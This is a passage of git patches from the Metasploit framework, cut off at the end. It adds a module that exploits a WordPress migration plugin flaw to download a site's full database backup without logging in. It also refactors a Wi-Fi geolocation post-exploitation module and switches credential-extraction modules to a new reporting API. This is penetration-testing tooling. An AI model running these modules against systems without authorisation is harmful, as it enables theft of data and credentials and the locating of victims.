b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb new file mode 100644 index 0000000000..c8859b5cba --- /dev/null +++ b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb @@ -0,0 +1,68 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress All-in-One Migration Export', + 'Description' => %q(Due to lack of authenticated session verification + it is possible for unauthenticated users to export + a complete copy of the database, all plugins, themes + and uploaded files.), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Golovich', # Disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['WPVDB', '7857'] + ], + 'DisclosureDate' => 'Mar 19 2015' + )) + + register_options( + [ + OptInt.new('MAXTIME', [ true, 'The maximum number of seconds to wait for the export to complete', 300 ]) + ], self.class) + end + + def exporter_url + normalize_uri(plugin_url, 'modules', 'export', 'templates', 'export.php') + end + + def check + check_plugin_version_from_readme('all-in-one-wp-migration', '2.0.5') + end + + def run + print_status("#{peer} - Requesting website export...") + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'vars_get' => { 'action' => 'router' }, + 'vars_post' => { 'options[action]' => 'export' } + }, datastore['MAXTIME']) + + if res.nil? + print_error("#{peer} - No response from the target") + return + elsif res.code != 200 + print_error("#{peer} - Server responded with status code #{res.code}") + return + end + + store_path = store_loot('wordpress.export', 'zip', datastore['RHOST'], res.body, 'wordpress_backup.zip', 'WordPress Database and Content Backup') + print_good("#{peer} - Backup archive saved to #{store_path}") + end +end From c63fdad1f15b85b66fd06bf5479a5467459cccdc Mon Sep 17 00:00:00 2001 From: rastating <rob@rastating.com> Date: Mon, 20 Jul 2015 18:15:17 +0100 Subject: [PATCH 0182/2172] Add URL reference --- modules/auxiliary/gather/wp_all_in_one_migration_export.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb index c8859b5cba..1d8d84e3eb 100644 --- a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb +++ b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb @@ -25,7 +25,8 @@ class Metasploit3 < Msf::Auxiliary ], 'References' => [ - ['WPVDB', '7857'] + ['WPVDB', '7857'], + ['URL', 'http://www.pritect.net/blog/all-in-one-wp-migration-2-0-4-security-vulnerability'] ], 'DisclosureDate' => 'Mar 19 2015' )) From 85e806dc9934d8b6fe7f3da175d2e5ec0c26a2ba Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 20 Jul 2015 19:28:19 -0500 Subject: [PATCH 0183/2172] Add simple class for getting geo data from Google --- lib/rex/google_geolocation.rb | 83 +++++++++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100755 lib/rex/google_geolocation.rb diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb new file mode 100755 index 0000000000..a7551cb944 --- /dev/null +++ b/lib/rex/google_geolocation.rb @@ -0,0 +1,83 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'json' + +module Rex + # @example + # g = GoogleGeolocation.new + # g.add_wlan("00:11:22:33:44:55", "example", -80) + # g.fetch! + # puts g, g.google_maps_url + class GoogleGeolocation + + GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + + attr_accessor :accuracy + attr_accessor :latitude + attr_accessor :longitude + + def initialize + @uri = URI.parse(GOOGLE_API_URI) + @wlan_list = [] + end + + # Ask Google's Maps API for the location of a given set of BSSIDs (MAC + # addresses of access points), ESSIDs (AP names), and signal strengths. + def fetch! + @uri.query << @wlan_list.join("&") + + request = Net::HTTP::Get.new(@uri.request_uri) + http = Net::HTTP::new(@uri.host,@uri.port) + http.use_ssl = true + response = http.request(request) + + if response && response.code == '200' + results = JSON.parse(response.body) + self.latitude = results["location"]["lat"] + self.longitude = results["location"]["lng"] + self.accuracy = results["accuracy"] + else + raise "Failure connecting to Google for location lookup." + end + end + + # Add an AP to the list to send to Google when {#fetch!} is called. + # + # Turns out Google's API doesn't really care about ESSID or signal strength + # as long as you have BSSIDs. Presumably adding them will make it more + # accurate? Who knows. + # + # @param mac [String] in the form "00:11:22:33:44:55" + # @param ssid [String] ESSID associated with the mac + # @param signal_strength [String] a thing like + def add_wlan(mac, ssid = nil, signal_strength = nil) + @wlan_list.push("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}") + end + + def google_maps_url + "https://maps.google.com/?q=#{latitude},#{longitude}" + end + + def to_s + "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." + end + + end +end + +if $0 == __FILE__ + if ARGV.empty? + $stderr.puts("Usage: #{$0} <mac> [mac] ...") + $stderr.puts("Ask Google for the location of the given set of BSSIDs") + $stderr.puts + $stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$0}") + exit(1) + end + g = Rex::GoogleGeolocation.new + ARGV.each do |mac| + g.add_wlan(mac, nil, -83) + end + g.fetch! + puts g, g.google_maps_url +end From d6e12d431f4b9a712bbff754e8d344e832c3ca9c Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 20 Jul 2015 19:40:25 -0500 Subject: [PATCH 0184/2172] Style and whitespace --- modules/post/multi/gather/wlan_geolocate.rb | 46 ++++++++++----------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index a2e18e5018..ecb302a952 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -43,14 +43,14 @@ class Metasploit3 < Msf::Post wlan_list = '' raw_networks = listing.split("\r\n\r\n") - raw_networks.each { |network| + raw_networks.each do |network| details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m) - if !details.nil? - strength = get_strength(details[3]) - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" - wlan_list << network_data - end - } + if !details.nil? + strength = get_strength(details[3]) + network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" + wlan_list << network_data + end + end return wlan_list end @@ -60,13 +60,13 @@ class Metasploit3 < Msf::Post wlan_list = '' raw_networks = listing.split("Cell ") - raw_networks.each { |network| + raw_networks.each do |network| details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m) - if !details.nil? - network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" - wlan_list << network_data - end - } + if !details.nil? + network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" + wlan_list << network_data + end + end return wlan_list end @@ -75,14 +75,14 @@ class Metasploit3 < Msf::Post wlan_list = '' raw_networks = listing.split("\n") - raw_networks.each { |network| + raw_networks.each do |network| network = network.strip details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/) - if !details.nil? - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" - wlan_list << network_data - end - } + if !details.nil? + network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" + wlan_list << network_data + end + end return wlan_list end @@ -214,10 +214,10 @@ class Metasploit3 < Msf::Post return nil end - rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end From 52e4f45ecdc9fd723587456b6cc80f978617aece Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 20 Jul 2015 20:24:07 -0500 Subject: [PATCH 0185/2172] Use the new thing in wlan_geolocate --- modules/post/multi/gather/wlan_geolocate.rb | 44 ++++++++------------- 1 file changed, 17 insertions(+), 27 deletions(-) diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index ecb302a952..1c9d7d2f84 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -5,8 +5,7 @@ require 'msf/core' require 'rex' -require 'json' -require 'net/http' +require 'rex/google_geolocation' class Metasploit3 < Msf::Post @@ -40,15 +39,14 @@ class Metasploit3 < Msf::Post end def parse_wireless_win(listing) - wlan_list = '' + wlan_list = [] raw_networks = listing.split("\r\n\r\n") raw_networks.each do |network| details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m) if !details.nil? strength = get_strength(details[3]) - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" - wlan_list << network_data + wlan_list << [ details[2], details[1], strength ] end end @@ -57,14 +55,13 @@ class Metasploit3 < Msf::Post def parse_wireless_linux(listing) - wlan_list = '' + wlan_list = [] raw_networks = listing.split("Cell ") raw_networks.each do |network| details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m) if !details.nil? - network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" - wlan_list << network_data + wlan_list << [ details[1], details[3], details[2] ] end end @@ -72,15 +69,14 @@ class Metasploit3 < Msf::Post end def parse_wireless_osx(listing) - wlan_list = '' + wlan_list = [] raw_networks = listing.split("\n") raw_networks.each do |network| network = network.strip details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/) if !details.nil? - network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" - wlan_list << network_data + wlan_list << [ details[2], details[1], details[3] ] end end @@ -93,25 +89,19 @@ class Metasploit3 < Msf::Post print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end + g = Rex::GoogleGeolocation.new - # Build and send the request to Google - url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" - uri = URI.parse(URI.encode(url)) - request = Net::HTTP::Get.new(uri.request_uri) - http = Net::HTTP::new(uri.host,uri.port) - http.use_ssl = true - response = http.request(request) + wlan_list.each do |wlan| + g.add_wlan(*wlan) + end - # Gather the required information from the response - if response && response.code == '200' - results = JSON.parse(response.body) - latitude = results["location"]["lat"] - longitude = results["location"]["lng"] - accuracy = results["accuracy"] - print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") - print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") + begin + g.fetch! + rescue RuntimeError => e + print_error("Error: #{e}") else - print_error("Failure connecting to Google for location lookup.") + print_status(g.to_s) + print_status("Google Maps URL: #{g.google_maps_url}") end end From 55be2eff06b5b1b68b08335402ee816334b56938 Mon Sep 17 00:00:00 2001 From: rastating <rob@rastating.com> Date: Tue, 21 Jul 2015 21:25:42 +0100 Subject: [PATCH 0186/2172] Replace return with fail_with --- .../gather/wp_all_in_one_migration_export.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb index 1d8d84e3eb..6c2e538c2d 100644 --- a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb +++ b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb @@ -55,12 +55,12 @@ class Metasploit3 < Msf::Auxiliary 'vars_post' => { 'options[action]' => 'export' } }, datastore['MAXTIME']) - if res.nil? - print_error("#{peer} - No response from the target") - return - elsif res.code != 200 - print_error("#{peer} - Server responded with status code #{res.code}") - return + unless res + fail_with(Failure::Unknown, "#{peer} - No response from the target") + end + + if res.code != 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Server responded with status code #{res.code}") end store_path = store_loot('wordpress.export', 'zip', datastore['RHOST'], res.body, 'wordpress_backup.zip', 'WordPress Database and Content Backup') From d3f31fb56a969f937967e8a60b2d2ebfe34c4dfe Mon Sep 17 00:00:00 2001 From: rastating <rob@rastating.com> Date: Tue, 21 Jul 2015 21:29:44 +0100 Subject: [PATCH 0187/2172] Fix msftidy results --- modules/auxiliary/gather/wp_all_in_one_migration_export.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb index 6c2e538c2d..811654726b 100644 --- a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb +++ b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary unless res fail_with(Failure::Unknown, "#{peer} - No response from the target") end - + if res.code != 200 fail_with(Failure::UnexpectedReply, "#{peer} - Server responded with status code #{res.code}") end From 4561850055007c208e124cdf05633cdcc70ac226 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 22 Jul 2015 01:11:43 -0500 Subject: [PATCH 0188/2172] Use metasploit-credential API instead of report_auth_info --- .../admin/hp/hp_imc_som_create_account.rb | 44 ++- .../http/dlink_dir_645_password_extractor.rb | 45 ++- .../http/dlink_dsl320b_password_extractor.rb | 41 ++- .../admin/http/nexpose_xxe_file_read.rb | 41 ++- .../admin/http/vbulletin_upgrade_admin.rb | 42 ++- .../admin/http/wp_custom_contact_forms.rb | 39 ++- .../http/zyxel_admin_password_extractor.rb | 43 ++- .../admin/misc/sercomm_dump_config.rb | 44 ++- .../auxiliary/admin/oracle/oracle_login.rb | 39 ++- .../scanner/http/drupal_views_user_enum.rb | 1 - .../scanner/nexpose/nexpose_api_login.rb | 45 ++- .../scanner/openvas/openvas_gsad_login.rb | 44 ++- .../scanner/openvas/openvas_omp_login.rb | 42 ++- .../scanner/openvas/openvas_otp_login.rb | 42 ++- modules/auxiliary/scanner/scada/koyo_login.rb | 40 ++- modules/auxiliary/server/capture/drda.rb | 41 ++- modules/auxiliary/server/capture/ftp.rb | 41 ++- .../auxiliary/server/capture/http_basic.rb | 41 ++- modules/auxiliary/server/capture/pop3.rb | 41 ++- .../auxiliary/server/capture/postgresql.rb | 43 ++- modules/auxiliary/server/capture/sip.rb | 43 ++- modules/auxiliary/server/capture/smtp.rb | 41 ++- modules/auxiliary/server/capture/vnc.rb | 43 ++- .../auxiliary/test/report_auth_info.rb | 265 +++++++++++++++++- 24 files changed, 1005 insertions(+), 186 deletions(-) diff --git a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb index 4f5d3de838..1941291594 100644 --- a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb +++ b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb @@ -71,6 +71,32 @@ class Metasploit3 < Msf::Auxiliary return nil end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run print_status("#{peer} - Trying to find the service desk service strong name...") @@ -232,15 +258,15 @@ class Metasploit3 < Msf::Auxiliary login_url = ssl ? "https://" : "http://" login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp" - report_auth_info({ - :host => rhost, - :port => rport, - :user => datastore["USERNAME"], - :pass => datastore["PASSWORD"], - :type => "password", - :sname => (ssl ? "https" : "http"), - :proof => "#{login_url}\n#{res.body}" - }) + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? "https" : "http"), + user: datastore['USERNAME'], + password: datastore['PASSWORD'], + proof: "#{login_url}\n#{res.body}" + ) + print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.") print_status("#{peer} - Use it to log into #{login_url}") end diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index cb95df48c3..533a7d5074 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -33,6 +33,35 @@ class Metasploit3 < Msf::Auxiliary ) end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") @@ -72,14 +101,14 @@ class Metasploit3 < Msf::Auxiliary vprint_good("user: #{@user}") vprint_good("pass: #{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => @user, - :pass => pass, - :active => true - ) + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: @user, + password: pass, + proof: line + ) end end end diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index dad5e64ed6..9ab873d031 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -32,6 +32,33 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") @@ -69,13 +96,13 @@ class Metasploit3 < Msf::Auxiliary pass = $1 pass = Rex::Text.decode_base64(pass) print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => user, - :pass => pass, - :active => true + report_cred( + ip: rhost, + port: rport, + sname: 'http', + user: user, + password: pass, + proof: line ) end end diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index c55a974bc0..5087e8bcb4 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -47,6 +47,32 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + def run user = datastore['USERNAME'] pass = datastore['PASSWORD'] @@ -57,14 +83,13 @@ class Metasploit4 < Msf::Auxiliary print_status("Authenticating as: " << user) begin nsc.login - report_auth_info( - :host => rhost, - :port => rport, - :sname => prot, - :user => user, - :pass => pass, - :proof => '', - :active => true + + report_cred( + ip: rhost, + port: rport, + service_name: prot, + user: user, + password: pass ) rescue diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 638d429021..b9efc4ae7f 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -49,6 +49,33 @@ class Metasploit3 < Msf::Auxiliary datastore["PASSWORD"] end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run if user == pass @@ -84,14 +111,13 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 200 and res.body =~ /Administrator account created/ print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => user, - :pass => pass, - :active => true, - :proof => res.body + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: user, + password: pass, + proof: res.body ) else print_error("#{peer} - Admin account creation failed") diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb index 75bf278687..774e6f0f3e 100644 --- a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb +++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb @@ -62,6 +62,33 @@ class Metasploit3 < Msf::Auxiliary table_prefix end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run username = Rex::Text.rand_text_alpha(10) password = Rex::Text.rand_text_alpha(20) @@ -98,14 +125,14 @@ class Metasploit3 < Msf::Auxiliary # login successfull if cookie print_status("#{peer} - User #{username} with password #{password} successfully created") - report_auth_info( - sname: 'WordPress', - host: rhost, + report_cred( + ip: rhost, port: rport, user: username, - pass: password, - active: true - ) + password: password, + service_name: 'WordPress', + proof: cookie + ) else print_error("#{peer} - User creation failed") return diff --git a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb index 44f67456a9..ec3ce10323 100644 --- a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb +++ b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb @@ -7,8 +7,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient def initialize super( @@ -33,6 +33,32 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run begin print_status("Trying to get 'admin' user password ...") @@ -62,13 +88,14 @@ class Metasploit3 < Msf::Auxiliary else admin_password = admin_password_matches[1]; print_good("Password for user 'admin' is: #{admin_password}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => "ZyXEL GS1510-16", - :user => 'admin', - :pass => admin_password, - :active => true + + report_cred( + ip: rhost, + port: rport, + service_name: 'ZyXEL GS1510-16', + user: 'admin', + password: admin_password, + proof: res.body ) end rescue ::Rex::ConnectionError diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb index 50c7d6d536..84979820e9 100644 --- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -88,6 +88,32 @@ class Metasploit3 < Msf::Auxiliary parse_configuration(config[:data]) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + private def little_endian? @@ -200,16 +226,14 @@ class Metasploit3 < Msf::Auxiliary @credentials.each do |k,v| next unless v[:user] and v[:password] print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}") - auth = { - :host => rhost, - :port => rport, - :user => v[:user], - :pass => v[:password], - :type => 'password', - :source_type => "exploit", - :active => true - } - report_auth_info(auth) + report_cred( + ip: rhost, + port: rport, + user: v[:user], + password: v[:password], + service_name: 'sercomm', + proof: v.inspect + ) end end diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index f4a0fbdf1f..b4105840c2 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -36,6 +36,32 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end + def run return if not check_dependencies @@ -56,13 +82,12 @@ class Metasploit3 < Msf::Auxiliary break end else - report_auth_info( - :host => "#{datastore['RHOST']}", - :port => "#{datastore['RPORT']}", - :sname => 'oracle', - :user => "#{datastore['SID']}/#{datastore['DBUSER']}", - :pass => "#{datastore['DBPASS']}", - :active => true + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'oracle', + user: "#{datastore['SID']}/#{datastore['DBUSER']}", + password: datastore['DBPASS'] ) print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") end diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index 705c8cea23..0a248e088f 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -79,7 +79,6 @@ class Metasploit3 < Msf::Auxiliary }.merge(service_data) login_data = { - last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, }.merge(service_data) diff --git a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb index 1401bd5095..3374f18e32 100644 --- a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb +++ b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb @@ -66,6 +66,33 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user='nxadmin', pass='nxadmin') vprint_status("Trying username:'#{user}' with password:'#{pass}'") headers = { @@ -100,16 +127,14 @@ class Metasploit3 < Msf::Auxiliary if res.body =~ /LoginResponse.*success="1"/ print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'nexpose', - :user => 